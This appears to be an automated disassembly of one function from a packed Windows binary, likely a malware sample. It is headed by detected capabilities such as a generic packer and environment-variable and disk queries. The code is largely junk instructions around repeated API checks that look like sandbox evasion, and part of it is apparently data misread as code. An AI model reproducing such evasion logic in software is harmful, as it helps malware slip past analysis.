Function at 0x401c61
Capabilities:
Get disk information
Packed with generic packer
Query environment variable
Set environment variable

Disassembly:
mov edx, dword [esp]
add edx, ebx
mov ecx, dword [esp]
add ecx, 0x2a
adc ecx, dword [0x4060c2]
sub ecx, 0xffffffb3
adc dword [0x406139], 0x8a
add eax, 0xffffffba
push str.lerfyqoqb
push str.twkiqegonfhjr
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
mov ecx, dword [esp]
adc ecx, dword [0x406104]
add ebx, 0x62
xor dword [0x40615e], 0x85
xor ecx, 0xffffffca
xor dword [0x406196], edi
mov edi, 0x401bd2
call edi
add esi, ebx
xor ecx, 0x17
add eax, ebx
adc ch, byte [0x40602f]
xor eax, ebx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x529cdd0], al
aas
pushal
inc eax
add byte [ebx], dl
sbb eax, 0x4060e1
adc eax, 0xffffffcd
sub dword [0x40603f], eax
adc ebx, dword [0x4060e1]
adc bl, byte [0x40613e]
adc dword [0x406078], 0xe6
xor edi, ebx
push 0xc
push 0x406a6d
push str.lxutnbwowbov
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
add ah, 0x81
and dword [0x406171], ebx
mov ecx, dword [esp]
add ecx, eax
sub eax, 0xffffff8e
xor eax, esi
push 0xc
push 0x406a6d
push str.lxutnbwowbov
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
sub ah, byte [0x4061be]
and byte [0x406088], al
or edi, 0xffffff84
add esi, 0x6b
add ebx, ebx
sub bl, byte [0x4061c4]
mov eax, 0x403bc0
call eax
adc dword [0x4061c9], 0xbe
add dword [0x406048], ebx
adc dword [0x4060a8], 0x54
or al, byte [0x40610c]
adc bl, byte [0x406046]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx - 0x3d7cdbec], cl
mov al, byte [ebx + 0x40613915]
add byte [ecx + 8], al
and eax, 0x406127
or esi, dword [0x4060bc]
sub byte [0x4060cf], 0x6d
add edi, ebx
push str.lerfyqoqb
push str.twkiqegonfhjr
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
mov ecx, dword [esp]
add ecx, 0x71
adc bh, byte [0x40614a]
mov dword [0x4060df], 0x69
adc ch, 0xa7
sub ecx, dword [0x4061db]
push str.mzcofdxhctp
push str.fgnmoefvouol
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
xor eax, edi
mov ecx, dword [esp]
add ecx, esi
mov edx, dword [esp]
add edx, 0xfffffffa
or esi, 0x5e
or ecx, dword [0x40612b]
add dword [0x4061de], edx
mov esi, 0x403a23
call esi
sub dword [0x4061cd], ebx
adc eax, dword [0x40601f]
xor dword [0x406134], 0x16
adc eax, dword [0x40603b]
sbb dl, al
add dword [0x4060e4], esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
sub byte [0x40616b], ah
add byte [0x406148], bh
sbb edi, 0xa
adc dword [0x4060d1], 0x12
sbb ebx, eax
adc edi, dword [0x4061b8]
push str.bjtaxywk
push 0x406a4a
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x401fe1
add ebx, eax
sub al, byte [0x4060d9]
sbb dword [0x4061ce], eax
mov edx, dword [esp]
adc edx, dword [0x40618c]
or dword [0x4061e6], 0x42
mov ecx, dword [esp]
add ecx, 0x1f
mov ebx, 0x4012c9
call ebx
add esi, 0x1c
adc ebx, dword [0x40600d]
and dword [0x406177], ecx
or cl, 0x54
xor ebx, esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx], dl
cmp eax, 0x4061c1
sub esi, dword [0x4060f2]
sub eax, 0x48
or esi, 0x65
adc al, byte [0x40616d]
or dword [0x406179], 0xea
push str.lerfyqoqb
push str.twkiqegonfhjr
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
adc eax, eax
mov dword [0x40611c], 0x91
adc eax, dword [0x406129]
adc eax, dword [0x40613e]
mov ecx, dword [esp]
adc ecx, dword [0x40600d]
push 0xa
push str.kfluegwxnc
push str.xymorjemitumxh
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x40254a
add dword [0x40602c], ebx
adc bh, byte [0x406117]
or dword [0x406144], edi
mov ecx, dword [esp]
add ecx, 0x5e
sub esi, dword [0x4060ba]
or edi, 0xffffff84
mov ebx, 0x40254a
call ebx
adc ch, byte [0x40605a]
mov edx, dword [esp]
add edx, esi
and esi, 0xffffffc9
sub ecx, dword [0x4060a3]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx + 0x40607615], al
add bl, bl
add byte [eax], al
add byte [edx - 0x3effdbf4], cl
adc dword [0x406170], 0x5e
sbb dword [0x406085], 0x37
mov edx, dword [esp]
add edx, eax
push str.lerfyqoqb
push str.twkiqegonfhjr
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
xor edi, 0xffffff95
mov ecx, dword [esp]
adc ecx, dword [0x4061c6]
adc edi, dword [0x406076]
adc dword [0x4060f1], 0xc9
xor dword [0x4060f0], ebx
or dword [0x406018], ebx
mov esi, 0x40335c
call esi
sub byte [0x406147], 0x78
xor edi, edi
add ebx, 0x33
xor dword [0x406175], 0xa3
adc edi, dword [0x406113]
sub ebx, ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
sbb esi, eax
add edi, esi
or dword [0x406038], esi
add ebx, 0xffffffe4
push str.mzcofdxhctp
push str.fgnmoefvouol
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
mov ecx, dword [esp]
add ecx, esi
sbb edi, 0x4c
add ebx, ecx
mov edx, dword [esp]
add edx, ebx
sbb dword [0x406169], 0xea
add esi, 9
push 0xa
push str.kfluegwxnc
push str.xymorjemitumxh
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x40194c
adc dword [0x406035], 0xfe
sub ebx, dword [0x406016]
adc bl, byte [0x4060d2]
and dword [0x406142], 0x3d
adc dword [0x4060b7], 0xd4
mov edx, 0x402bf4
call edx
add dword [0x4061c3], esi
sub dword [0x4060db], eax
and dword [0x4060e5], eax
and eax, 0xffffffdc
xor byte [0x406182], al
sub ebx, esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add dword [0x40613e], esi
sbb dword [0x40605d], 0x5c
mov ecx, dword [esp]
add ecx, 0xffffffcc
and edi, 0x7b
mov edx, dword [esp]
add edx, ebx
or ebx, dword [0x4060f3]
push 0xa
push str.kfluegwxnc
push str.xymorjemitumxh
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x403108
adc eax, dword [0x4061a1]
and esi, 0xd
sub byte [0x40616d], ah
adc ebx, dword [0x4060cf]
mov edx, dword [esp]
add edx, 0x6a
push str.bjtaxywk
push 0x406a4a
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x403108
adc eax, dword [0x4060ff]
xor dword [0x406067], 0xeb
sub byte [0x406064], 0xd2
mov edx, dword [esp]
add edx, ebx
xor ebx, 0xffffffb6
adc dh, byte [0x4060e4]
mov ecx, 0x403108
call ecx
sbb ah, bh
adc dword [0x4061b5], 0xbe
or dword [0x40611c], 0xe4
or edx, 0x34
sbb dword [0x4060d2], esi
sub dword [0x406100], esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or dword [0x40606a], 0x6b
or dword [0x40613c], 0xb4
mov edx, dword [esp]
adc edx, dword [0x4060fc]
xor ebx, edx
sub eax, 0xffffffe6
lea esi, [0x406a5c]
push dword [esi]
call dword [sym.imp.kernel32.dll_SetErrorMode]
xor dword [0x40607b], 0xdd
mov dh, byte [esp]
add dh, al
mov ch, byte [esp]
add ch, 0x79
add dl, ch
or dword [0x406170], 0x28
mov edx, 0x4016fc
call edx
sub edx, dword [0x4060c9]
and dword [0x4060c8], edx
sbb dword [0x406043], edi
sub edi, 0xffffff93
adc eax, edi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov edx, dword [esp]
add edx, 0x6f
mov ecx, dword [esp]
adc ecx, dword [0x40603b]
adc ah, byte [0x40619c]
or dword [0x40605e], edx
adc ebx, dword [0x4061e7]
sub edi, esi
push str.mzcofdxhctp
push str.fgnmoefvouol
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
sub byte [0x406085], 0xd8
mov edx, dword [esp]
adc edx, dword [0x406181]
mov ecx, dword [esp]
add ecx, 4
or edx, 0x5a
mov edx, 0x402709
call edx
add dword [0x40602c], esi
and dword [0x4060c7], ecx
sbb edi, eax
adc ah, byte [0x4061b1]
sub eax, 0xffffffe3
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
add eax, 0x406009
add ebx, edi
sbb dword [0x406026], ebx
or dword [0x4061e2], 0x96
sub edi, 0x18
push 0xc
push 0x406a6d
push str.lxutnbwowbov
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
mov ecx, dword [esp]
add ecx, 0xffffffb6
adc dword [0x4060d1], 0xc9
xor dword [0x4060f5], eax
add eax, eax
adc ebx, dword [0x406106]
push str.lerfyqoqb
push str.twkiqegonfhjr
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
sbb dword [0x4061c6], 0xa4
mov dword [0x40619d], 0x9b
adc dword [0x4060a9], 0x23
adc dword [0x40611a], 0x19
mov esi, 0x40254a
call esi
xor dword [0x406153], ebx
mov cl, byte [esp]
add cl, 0xa0
add ebx, 0x71
adc dword [0x406093], 0xba
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov edx, dword [esp]
add edx, 0x1b
add edi, eax
sbb edx, 5
adc eax, dword [0x406196]
push str.lerfyqoqb
push str.twkiqegonfhjr
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
sub esi, dword [0x406087]
mov ecx, dword [esp]
adc ecx, dword [0x40602e]
or ah, byte [0x4061e6]
adc dword [0x406088], 0x75
sbb eax, esi
add edi, eax
mov edx, 0x401836
call edx
sbb dword [0x4060f3], ebx
add dword [0x40613d], ecx
add ecx, ecx
add dword [0x4060de], esi
xor cl, ah
mov edx, dword [esp]
adc edx, dword [0x4061cc]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
or edi, dword [0x40607f]
or dword [0x4060aa], 7
sbb dword [0x406013], ebx
adc bh, byte [0x4060b6]
or edi, 0x58
push str.mzcofdxhctp
push str.fgnmoefvouol
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
adc edi, ebx
adc al, byte [0x406021]
mov edx, dword [esp]
adc edx, dword [0x4060ea]
xor eax, 0x6f
sub esi, dword [0x4061df]
sub esi, eax
mov eax, 0x402d28
call eax
or dword [0x406108], ebx
adc bh, byte [0x406130]
adc dword [0x4060a7], 0xf8
adc dword [0x4060ab], esi
xor dword [0x406048], 0x11
and eax, 0xffffff9a
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov edx, dword [esp]
add edx, edi
and dword [0x406027], 0xe2
mov ecx, dword [esp]
add ecx, edx
xor dword [0x4060ad], edi
xor ecx, ebx
push str.mzcofdxhctp
push str.fgnmoefvouol
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
adc eax, dword [0x4061de]
sbb ebx, esi
sbb esi, edi
add dword [0x4061f2], ebx
mov edx, dword [esp]
add edx, 0xffffff9e
add dword [0x4061ee], edx
mov edi, 0x4010dc
call edi
adc dword [0x406014], 0x83
adc edx, eax
xor ebx, 0xffffffc1
or dword [0x406110], eax
or esi, dword [0x40614e]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0xd13240c], cl
push cs
popal
inc eax
add byte [ebx - 0xdfedbec], cl
xor dword [0x4061a3], edx
xor dword [0x406014], 0xdb
sub edx, dword [0x406107]
push 0xa
push 0x406a83
push str.zzycbkmmo
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x4039ae
and dword [0x4060bf], 0x49
xor ebx, eax
add ebx, 0xffffffe3
adc edi, edi
push 0xa
push str.kfluegwxnc
push str.xymorjemitumxh
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x4039ae
xor byte [0x406101], ah
and dword [0x406151], 0x6d
mov edx, dword [esp]
adc edx, dword [0x4061f7]
sub dword [section..data], edi
and eax, 0x29
sub ebx, 0xffffffee
mov esi, 0x4039ae
call esi
sbb eax, edi
xor dword [0x4061d1], 0x88
sub dword [0x40619d], eax
adc dh, byte [0x406041]
add eax, edi
mov ecx, dword [esp]
add ecx, 0xffffffb9
add byte [ecx], dh
ficomp word [ecx]
cmp eax, 0x406048
xor esi, ebx
sbb dword [0x406048], edi
and dword [0x406036], 0x12
mov dword [0x4060c2], 0x83
push str.bjtaxywk
push 0x406a4a
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x402a53
sub edi, dword [0x406051]
add eax, esi
adc bl, bh
adc edi, dword [0x40602c]
adc edi, ebx
push str.mzcofdxhctp
push str.fgnmoefvouol
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
xor eax, 0x25
sbb byte [0x4060bc], al
sub byte [0x406012], 0xf2
adc esi, dword [0x4060fd]
adc ebx, dword [0x40600b]
mov eax, 0x402a53
call eax
mov ecx, dword [esp]
add ecx, edi
sub byte [0x406001], 0x48
add ah, 0x72
or dword [0x406031], 0x9e
add byte [ecx], ah
sbb eax, 0x406175
add dword [0x40607a], ebx
and eax, 0x17
sbb dword [0x406180], 0xd9
or dword [0x4061a0], 0x2a
add byte [0x406021], bl
push 0xa
push str.kfluegwxnc
push str.xymorjemitumxh
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x40378b
mov ecx, dword [esp]
adc ecx, dword [0x406116]
sub byte [0x406152], 0x4f
adc ebx, dword [0x40603d]
mov dword [0x406010], 0xf1
mov edi, 0x40378b
call edi
mov edx, dword [esp]
add edx, edi
sbb dword [0x40602f], 0xeb
add esi, 0xf
adc ch, byte [0x40601c]
sub esi, dword [0x406107]
mov dword [0x406126], 0xbf
add byte [ebx + 0x148b79f0], al
and al, 0x83
ret 0x1369
push ebp
mov ebp, esp
sub esp, 0x58
mov ecx, dword [esp]
add ecx, 0xffffffa6
adc dword [0x406033], 0xcc
adc dword [0x406083], 0x8f
mov edx, dword [esp]
add edx, ecx
mov ebx, dword [esp]
adc ebx, dword [0x406168]
or dword [0x4061e0], ebx
sub bl, byte [0x40607e]
mov esi, dword [esp]
add esi, 0xffffff9e
xor dword [0x406002], 0xc6
adc dword [0x406155], 0x3b
lea edi, [0x406a5c]
push dword [edi]
call dword [sym.imp.kernel32.dll_SetErrorMode]
mov edi, dword [esp]
add edi, 0xffffffe1
mov edx, dword [esp]
adc edx, dword [0x406149]
and dword [0x406193], 0x25
sub ebx, edx
adc dword [0x4061ba], 0xdf
mov eax, dword [esp]
adc eax, dword [0x4060b9]
push 0xa
push str.kfluegwxnc
push str.xymorjemitumxh
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
test eax, eax
jne 0x402ea2
add esi, 0xffffffa1
or esi, 0xffffffc9
or byte [0x4060ce], bl
sub byte [0x40600b], 0xde
mov dword [0x406097], 0xad
mov ecx, 0x403869
call ecx
adc edi, eax
mov edx, dword [esp]
adc edx, dword [0x4060ce]
sub byte [0x4061af], 0xf3
or dword [0x40604b], edx
add byte [ecx + 0x1c35dec], cl
test dword [ecx], 0x4061bf05
add byte [ecx], ch
cmp eax, 0x406179
mov esp, ebp
pop ebp
ret
add edi, esi
add dword [0x4061bf], eax
sub dword [0x406179], edi
sub dword [0x4060e2], edi
add dword [0x406022], edi
add eax, ebx
push 0xc
push 0x406a6d
push str.lxutnbwowbov
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
mov cl, byte [esp]
add cl, 0x5d
or dword [0x4061b0], 0x6c
add bl, al
mov edx, dword [esp]
add edx, 0xffffffef
mov eax, 0x40393d
call eax
add eax, ecx
adc dword [0x406072], edx
and dword [0x40600b], 0x28
sbb dword [0x406199], 0x98
sbb dword [0x40609d], edx
add dword [0x406178], eax
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc dword [0x4060be], edi
mov edx, dword [esp]
adc edx, dword [0x40604b]
adc dword [0x406122], 0xfe
sub edx, edi
and dword [0x406101], 0x21
add ebx, 0x71
push str.bjtaxywk
push 0x406a4a
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x4034f9
mov edx, dword [esp]
add edx, esi
sub edx, dword [0x4061ae]
adc esi, dword [0x40613c]
or esi, dword [0x4061c7]
xor bh, 0x24
sub eax, edx
mov ecx, 0x4013c1
call ecx
adc edx, dword [0x40609d]
xor dword [0x406029], ebx
add dword [0x40601d], eax
sub byte [0x40617d], 0xa9
and eax, 0x12
or edx, dword [0x4060d8]
add byte [eax], al
add byte [eax], al
sti
add bl, bh
adc ebx, dword [0x40609e]
mov dword [0x406152], 0x1b
mov dword [0x4061a8], 0x66
xor dword [0x406191], 0x38
push str.mzcofdxhctp
push str.fgnmoefvouol
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
and dword [0x406117], 0xae
add dword [0x4060a8], eax
or dword [0x406071], 0xe1
mov edx, dword [esp]
add edx, eax
and dword [0x4060e6], edx
push 0xa
push str.kfluegwxnc
push str.xymorjemitumxh
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x40254a
adc dword [0x4061a7], 0x16
adc edi, dword [0x4061a4]
adc eax, dword [0x40610f]
xor dword [0x40603f], 0x6e
mov ecx, dword [esp]
add ecx, ebx
and dword [0x406054], ebx
mov edx, 0x40254a
call edx
mov edx, dword [esp]
adc edx, dword [0x40602d]
adc esi, ecx
or esi, 0x66
sub edx, dword [0x4061ce]
add byte [eax], al
add byte [eax], al
or dword [0x406186], ebx
mov edx, dword [esp]
add edx, 0x16
sub byte [0x40600b], 0x14
adc dword [0x406131], 0xa5
adc dh, 0x49
or eax, dword [0x40616e]
lea eax, [0x406a5c]
push dword [eax]
call dword [sym.imp.kernel32.dll_SetErrorMode]
xor dword [0x406070], 0x23
sub edi, dword [0x4061e7]
adc edi, eax
adc dword [0x406070], 0x53
adc ebx, ebx
mov edx, 0x4017bd
call edx
adc bl, 0x3c
add dword [0x4061e6], edi
adc bh, byte [0x4061ab]
xor dword [0x406008], 0xa8
or byte [0x40609f], al
mov dword [0x406154], 0x92
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], ch
xor eax, 0x40611d
sub dword [0x40611d], esi
add ebx, 0x6a
xor dword [0x406042], esi
sbb dword [0x4061b8], eax
add dword [0x406160], ebx
xor dword [0x4060cb], esi
push str.lerfyqoqb
push str.twkiqegonfhjr
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
sbb dword [0x406155], 0x78
mov edx, dword [esp]
adc edx, dword [0x406037]
add dword [0x406070], eax
or byte [0x4061be], ah
push str.bjtaxywk
push 0x406a4a
call dword [sym.imp.kernel32.dll_lstrcmpA]
test eax, eax
jne 0x40254a
adc esi, edi
sub ebx, ebx
add eax, 0xfffffffa
adc eax, dword [0x4061ba]
mov eax, 0x40254a
call eax
adc ebx, 0xffffffe2
xor dword [0x40601c], 0x7a
add dword [0x4060c5], eax
or al, byte [0x4060d1]
xor edi, eax
mov edx, dword [esp]
add edx, esi
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], dl
add eax, 0x406046
xor dword [0x40615c], 0xf1
mov ecx, dword [esp]
add ecx, 0x59
sub eax, dword [0x406080]
push str.lerfyqoqb
push str.twkiqegonfhjr
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
sub esi, esi
sbb dword [0x40602b], 0xe9
sub bh, byte [0x4060c0]
sub byte [0x406122], bh
mov ecx, dword [esp]
add ecx, 2
sub dword [0x4060d4], ebx
mov ebx, 0x403a88
call ebx
sbb dword [0x406045], edi
add esi, ecx
adc dword [0x4060d5], 0xdd
mov dh, byte [esp]
add dh, 0x64
add esi, 0xffffff97
add byte [eax], al
add byte [ebx - 0x3d7cdbec], cl
pop ebp
mov edx, dword [esp]
add edx, 0x5d
and esi, 0x4b
sub eax, 0x21
or ebx, 0xffffffaf
push str.bjtaxywk
push 0x406a4a
call dword [sym.imp.kernel32.dll_lstrcmpA]
cmp eax, 0
jne 0x40254e
or dword [0x406092], 0xbe
add eax, 0xffffffd3
mov edx, dword [esp]
add edx, edi
add dword [0x40606e], eax
sub byte [0x40617e], 0x1d
mov edx, 0x40254e
call edx
mov ecx, dword [esp]
adc ecx, dword [0x4061ee]
adc ebx, edx
sub byte [0x4061aa], 0xfd
sub al, byte [0x4061ea]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], ah
xor eax, 0x406006
add dword [0x406090], edi
adc eax, dword [0x406104]
adc al, byte [0x4061f3]
mov ecx, dword [esp]
add ecx, 8
add ebx, 0x1b
push 0xa
push 0x406a83
push str.zzycbkmmo
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x40254a
mov ecx, dword [esp]
add ecx, esi
xor ebx, 0x39
or dword [0x40609f], 0x69
and esi, 0x15
add byte [0x40609a], bh
push str.mzcofdxhctp
push str.fgnmoefvouol
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
sub esi, 0x3d
mov edx, dword [esp]
add edx, edi
mov ecx, dword [esp]
add ecx, ebx
or al, byte [0x4060b8]
or dword [0x406142], 0x1d
mov ebx, 0x40254a
call ebx
sbb ebx, ecx
adc cl, bh
xor dl, 0x2a
xor esi, ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
adc dword [0x4060f2], 0x21
adc dword [0x4061b5], ebx
adc dword [0x4061a8], 0x29
adc al, byte [0x40608b]
push 0xc
push 0x406a6d
push str.lxutnbwowbov
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
or dword [0x406154], 0xbd
add edi, esi
adc ah, byte [0x406146]
adc dword [0x406164], edi
xor dword [0x40619a], 0x7d
sub eax, ebx
push 0xa
push 0x406a83
push str.zzycbkmmo
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x40254a
mov dword [0x406030], 0x3a
mov ch, byte [esp]
add ch, al
add eax, ecx
mov dword [0x40613c], 0x98
mov edx, dword [esp]
add edx, 0x2f
add edx, 0x57
mov esi, 0x40254a
call esi
adc ecx, dword [0x40608c]
or al, byte [0x40604a]
and ecx, 0xffffffe8
adc ebx, edx
add byte [eax], al
add byte [eax], al
mov edx, dword [esp]
add edx, ebx
mov ecx, dword [esp]
add ecx, 0x14
add dword [0x4061fb], esi
or ebx, 0x37
sbb dword [0x406105], 0x4a
push 0xc
push 0x406a6d
push str.lxutnbwowbov
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
or dword [0x4061b1], 0xab
or dword [0x406021], 0x37
mov edx, dword [esp]
add edx, 0x48
xor dword [0x406191], eax
adc dword [0x406074], 0xe6
push str.mzcofdxhctp
push str.fgnmoefvouol
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
or ebx, 0xffffffc0
mov edx, dword [esp]
adc edx, dword [0x40611f]
mov dword [0x406010], 0x1e
adc esi, dword [0x4061b2]
mov esi, 0x40254a
call esi
add edx, eax
xor edx, ebx
add esi, edx
mov ecx, dword [esp]
adc ecx, dword [0x4061b6]
sub ebx, dword [0x406023]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx - 0xefedbf4], cl
mov ecx, dword [esp]
add ecx, esi
sub dword [0x40610c], ecx
xor esi, 0x73
add dword [0x40614f], esi
add ecx, eax
or byte [0x4060a2], ah
push 0xc
push 0x406a6d
push str.lxutnbwowbov
call dword [sym.imp.kernel32.dll_GetShortPathNameA]
mov ecx, dword [esp]
add ecx, edi
mov edx, dword [esp]
add edx, ebx
sub dword [0x40604e], eax
adc cl, byte [0x406008]
mov ecx, 0x403cbe
call ecx
adc esi, ecx
and dword [0x406181], eax
sub edi, dword [0x406066]
adc ah, byte [0x40608d]
adc cl, byte [0x406022]
sub eax, 0xb
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ecx], al
xor eax, 0x406070
sub eax, dword [0x4060f6]
mov edx, dword [esp]
add edx, esi
add dword [0x4061a5], edi
add edx, 0x7a
adc dword [0x406157], 0x75
lea ebx, [0x406a5c]
push dword [ebx]
call dword [sym.imp.kernel32.dll_SetErrorMode]
adc ebx, ebx
adc edi, dword [0x4061ad]
sbb dword [0x4060cc], 0xfd
or edi, dword [0x40612e]
adc eax, dword [0x406158]
mov ecx, dword [esp]
add ecx, esi
mov edx, 0x403b35
call edx
mov dword [0x40616b], 0xb9
sub byte [0x40617c], 0x49
sbb ebx, ebx
add eax, 0xffffffe4
xor dword [0x4060b5], 0x95
sbb edi, ecx
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
mov dl, byte [esp]
add dl, bl
xor dword [0x406143], 0xfb
sub esi, dword [0x406075]
mov dword [0x406044], 0xd
adc bl, byte [0x40619f]
adc esi, 0x4f
push str.lerfyqoqb
push str.twkiqegonfhjr
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
mov ecx, dword [esp]
add ecx, ebx
sbb dword [0x4060ad], ecx
and ecx, 0x2a
sbb dword [0x406161], 0x76
push 0xa
push 0x406a83
push str.zzycbkmmo
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
test eax, eax
jne 0x403c37
or dword [0x4060dd], edi
sbb dword [0x40614f], 0x3b
adc dword [0x406152], 0xf2
xor dword [0x406142], 0x92
mov esi, 0x403244
call esi
mov ecx, dword [esp]
add ecx, edi
adc esi, dword [0x406004]
mov edx, dword [esp]
adc edx, dword [0x406096]
add ebx, eax
sub esi, 0xffffffc2
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx + 0x15132414], cl
pushaw
inc eax
add byte [ebx + 0x40603f15], al
add byte [eax], ah
sub esi, dword [0x406091]
adc eax, dword [0x4060dc]
add dword [0x40614d], edx
add eax, eax
push 0xa
push str.kfluegwxnc
push str.xymorjemitumxh
call dword [sym.imp.kernel32.dll_GetEnvironmentVariableA]
cmp eax, 0
jne 0x401ddf
and dword [0x4061de], 0x57
sbb dword [0x406153], esi
or dword [0x406170], 0x32
and dword [0x4061d9], 0x26
sbb ebx, ebx
adc dword [0x4061ef], edi
mov edx, 0x401ddf
call edx
mov edx, dword [esp]
add edx, 0x50
and dword [0x4061b9], 0x58
xor ebx, esi
add ah, ah
sub byte [0x40611f], 0xdf
add byte [eax], al
or dword [0x40612e], eax
or dword [0x406014], 0x12
adc esi, esi
and dword [0x406187], eax
push 0xa
push 0x406a83
push str.zzycbkmmo
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x402792
sub byte [0x406036], 0xfa
and esi, 0x4c
or bl, byte [0x406069]
sbb byte [0x406141], ah
sbb dword [0x40608a], esi
mov edx, dword [esp]
add edx, eax
push str.mzcofdxhctp
push str.fgnmoefvouol
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableA]
mov dh, byte [esp]
add dh, 0x88
adc eax, eax
adc dword [0x4060b7], 0x5e
sub ah, byte [0x40615e]
add eax, edi
mov ecx, 0x402792
call ecx
sbb byte [0x406129], bl
mov ecx, dword [esp]
add ecx, 0xffffffe3
adc dword [0x406095], ebx
sub ebx, dword [0x40605f]
mov dword [0x406099], 0xfd
adc dword [0x40617d], 0x32
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [edx + 0x15816bcc], al
adc ah, byte [ecx + 0x40]
add byte [esi - 0x7f000000], ah
adc eax, 0x40613b
test al, 0
add byte [eax], al
or ah, 0x6b
adc dword [0x406112], 0xa6
adc dword [0x40613b], 0xa8
xor dword [0x406128], esi
add byte [0x40615d], ah
adc ah, byte [0x4060eb]
push 0xa
push 0x406a83
push str.zzycbkmmo
call dword [sym.imp.kernel32.dll_QueryDosDeviceA]
cmp eax, 0
jne 0x40307f
mov cl, byte [esp]
add cl, 0x87
sub ch, byte [0x406126]
xor byte [0x40606f], bh
and dword [0x4060cb], edi
mov edx, dword [esp]
adc edx, dword [0x406050]
and dword [0x40601c], 0xc7
push str.lerfyqoqb
push str.twkiqegonfhjr
call dword [sym.imp.kernel32.dll_SetEnvironmentVariableW]
add byte [0x40618a], bh
add edi, eax
add eax, 0xffffffd0
sub dword [0x4061d9], edi
xor dword [0x406110], 0xc2
mov esi, 0x40307f
call esi
mov edx, dword [esp]
adc edx, dword [0x40603e]
adc ebx, dword [0x406021]
sub eax, 0x37
xor eax, 0xffffffd6
adc ebx, dword [0x406121]
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [eax], al
add byte [ebx], dl
cmp eax, 0x4060ae
adc edi, dword [0x4060ae]
sbb eax, 0xffffff8a
xor dword [0x406051], esi
add dword [0x406191], esi
adc dword [0x40600b], 0xa8
